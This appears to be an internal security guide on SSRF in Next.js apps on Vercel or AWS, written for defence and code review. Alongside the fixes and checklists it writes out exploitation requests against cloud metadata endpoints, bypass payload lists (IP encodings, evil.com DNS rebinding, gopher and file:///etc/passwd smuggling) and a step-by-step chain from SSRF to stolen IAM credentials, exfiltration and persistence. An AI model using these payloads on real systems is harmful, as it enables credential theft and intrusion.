SSRF Exploitation & Defense
Why SSRF Is Critical for Our Stack
SSRF in a Vercel/AWS environment isn't just "the server makes a request" — it's a potential path to:
- Cloud metadata endpoint (
169.254.169.254) → steal IAM credentials - Internal service discovery → map infrastructure
- Credential theft → access databases, storage, other services
- Remote code execution → via chained vulnerabilities
Our Next.js apps run on Vercel (serverless) and potentially self-hosted. Both have distinct SSRF surfaces.
Next.js-Specific SSRF Vectors
Vector 1: Image Optimization Endpoint (/_next/image)
Every Next.js app with the <Image> component exposes /_next/image?url=<target>&w=<width>&q=<quality>.
Vulnerable configuration (next.config.js):
// DANGEROUS — allows SSRF to any host
images: {
remotePatterns: [
{ protocol: 'https', hostname: '**' },
{ protocol: 'http', hostname: '**' }
]
}
Exploitation:
GET /_next/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/&w=64&q=75
Even without wildcard: If the allowlist includes a CDN that has an open redirect, chain: /_next/image?url=https://allowed-cdn.com/redirect?to=http://169.254.169.254/...
Next.js Image component follows redirects by default.
Detection in code review:
- Check
next.config.jsforimages.remotePatternswithhostname: '**' - Check for any
http://protocol in remotePatterns (should behttpsonly) - Check if any allowed hosts have known open redirect vulnerabilities
Fix:
images: {
remotePatterns: [
{ protocol: 'https', hostname: 'your-specific-cdn.com' },
{ protocol: 'https', hostname: '*.supabase.co' }
]
}
Vector 2: Middleware next() Passthrough (CVE-2025-57822)
5,000+ hosts identified as vulnerable in the wild.
// VULNERABLE — passes all headers including Location
export function middleware(request: NextRequest) {
const response = NextResponse.next({
request: { headers: request.headers } // Passes ALL headers
})
return response
}
Exploitation: Send request with Location: http://169.254.169.254/latest/meta-data/ header. Next.js middleware evaluates the Location header and follows the internal redirect.
Detection in code review:
- Any middleware that passes
request.headersdirectly toNextResponse.next() - Any middleware that doesn't explicitly filter/construct its forwarded headers
Fix:
export function middleware(request: NextRequest) {
// Explicitly construct new headers — never pass raw request headers
const headers = new Headers()
headers.set('x-custom-header', request.headers.get('x-custom-header') || '')
return NextResponse.next({ request: { headers } })
}
Vector 3: Server Actions with Redirects (Next.js ≤14.1.1)
When a Server Action performs redirect('/path'):
- Next.js sends HEAD request to the
Hostheader value to validate content-type - Then sends GET request to fetch content
- If attacker controls
Hostheader → SSRF
Exploitation chain:
- Set up OAST server that responds to HEAD with valid
content-type - On GET request, respond with
302 Location: http://169.254.169.254/... - Next.js follows redirect to cloud metadata
Detection: Check Next.js version. Any self-hosted Next.js ≤14.1.1 using Server Actions with redirects is vulnerable.
Vector 4: API Routes with User-Controlled URLs
// VULNERABLE
export async function POST(request: Request) {
const { url } = await request.json()
const response = await fetch(url) // User controls the URL
return Response.json(await response.json())
}
Detection in code review:
- Any
fetch(),axios(),http.request()where the URL comes from user input - Any route that proxies requests based on user parameters
- Webhook verification that fetches user-provided callback URLs
SSRF Bypass Techniques (What Attackers Try)
DNS Rebinding
Attacker's domain resolves to 169.254.169.254 after the initial DNS check:
First resolution: evil.com → 93.184.216.34 (passes allowlist)
Second resolution: evil.com → 169.254.169.254 (hits metadata)
IP Representation Tricks
All of these resolve to 127.0.0.1:
http://127.0.0.1
http://0x7f000001
http://2130706433
http://017700000001
http://127.1
http://0
http://[::1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://localhost
http://127.0.0.1.nip.io
URL Parser Confusion
http://evil.com@169.254.169.254 (userinfo ignored by some parsers)
http://169.254.169.254#@evil.com (fragment confusion)
http://169.254.169.254%23@evil.com (encoded fragment)
Redirect Chains
Even if the initial URL is validated, fetch() follows redirects by default:
http://allowed-host.com/redirect → http://169.254.169.254
Protocol Smuggling
gopher://169.254.169.254:80/_GET%20/...
file:///etc/passwd
dict://169.254.169.254:80/
Cloud Metadata Endpoints
AWS (Vercel runs on AWS)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
IMDSv2 requires a token (PUT request first), but IMDSv1 (GET) may still be available.
GCP
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
Requires header: Metadata-Flavor: Google
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Requires header: Metadata: true
Full Exploitation Chain: SSRF → Cloud Takeover
1. Find SSRF vector (Image component, middleware, fetch proxy)
2. Bypass URL validation (DNS rebinding, IP tricks, redirect chain)
3. Hit cloud metadata: GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
4. Get IAM role name from response
5. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
6. Receive: AccessKeyId, SecretAccessKey, Token
7. Use credentials to access: S3 buckets, DynamoDB, SQS, Lambda, RDS
8. Exfiltrate data, modify infrastructure, establish persistence
Defense Checklist
URL Validation (for any code that fetches user-provided URLs)
import { URL } from 'url'
import dns from 'dns/promises'
async function validateUrl(input: string): Promise<boolean> {
let parsed: URL
try {
parsed = new URL(input)
} catch {
return false
}
// Protocol allowlist
if (!['http:', 'https:'].includes(parsed.protocol)) return false
// Resolve DNS and check for internal IPs
const addresses = await dns.resolve4(parsed.hostname)
for (const addr of addresses) {
if (isInternalIP(addr)) return false
}
return true
}
function isInternalIP(ip: string): boolean {
const parts = ip.split('.').map(Number)
return (
parts[0] === 10 ||
parts[0] === 127 ||
(parts[0] === 172 && parts[1] >= 16 && parts[1] <= 31) ||
(parts[0] === 192 && parts[1] === 168) ||
(parts[0] === 169 && parts[1] === 254) || // Link-local / metadata
parts[0] === 0
)
}
Fetch Configuration
// Disable redirect following for user-provided URLs
const response = await fetch(url, { redirect: 'manual' })
// Set timeout to prevent slow-loris
const controller = new AbortController()
setTimeout(() => controller.abort(), 5000)
const response = await fetch(url, { signal: controller.signal })
Next.js Specific
- Image remotePatterns: specific hostnames only,
httpsonly - Middleware: never pass raw
request.headerstonext() - Server Actions: upgrade to Next.js ≥14.1.2
- API routes: validate and sanitize all URLs before fetching
- Disable
/_next/imageif not using Image component: setimages: { loader: 'custom' }
Review Checklist
For every PR, check:
- Does any code path result in
fetch(userInput)? - Are there URL validation functions? Do they check DNS resolution?
- Does
next.config.jshave wildcard image patterns? - Does middleware forward unfiltered headers?
- Do API routes proxy requests based on user parameters?
- Are redirect responses followed on user-provided URLs?
- Is there any
http://(non-TLS) in URL allowlists?
References
For Next.js SSRF research details, see references/nextjs-ssrf-research.md.